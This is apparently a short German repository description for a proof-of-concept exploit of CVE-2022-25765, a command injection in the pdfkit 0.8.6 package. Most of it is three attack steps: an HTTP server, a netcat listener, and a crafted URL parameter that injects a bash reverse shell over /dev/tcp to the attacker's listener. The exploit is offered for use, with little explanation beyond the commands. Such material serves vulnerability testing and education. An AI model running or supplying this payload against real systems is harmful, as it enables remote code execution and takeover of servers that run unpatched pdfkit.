lekosbelas/pdfkit-cmd-injectionProof-of-Concept-Exploit für CVE-2022-25765, das eine Befehlsinjektion in pdfkit 0.8.6 über einen nicht bereinigten URL-Parameter demonstriert und so Remote-Code-Ausführung sowie eine Reverse Shell ermöglicht.
Das Paket pdfkit ab Version 0.0.0 ist anfällig für Command Injection, da die URL nicht ordnungsgemäß bereinigt wird.
1- python3 -m http.server 80
2- nc -lnvp 'Target Port'
3- http://"TARGET_ADDRESS:Target PORT"//?name=#{'%20`bash -c 'exec bash -i &>/dev/tcp/"Target_ADRESS/LISTENING_PORT"<&1'`'}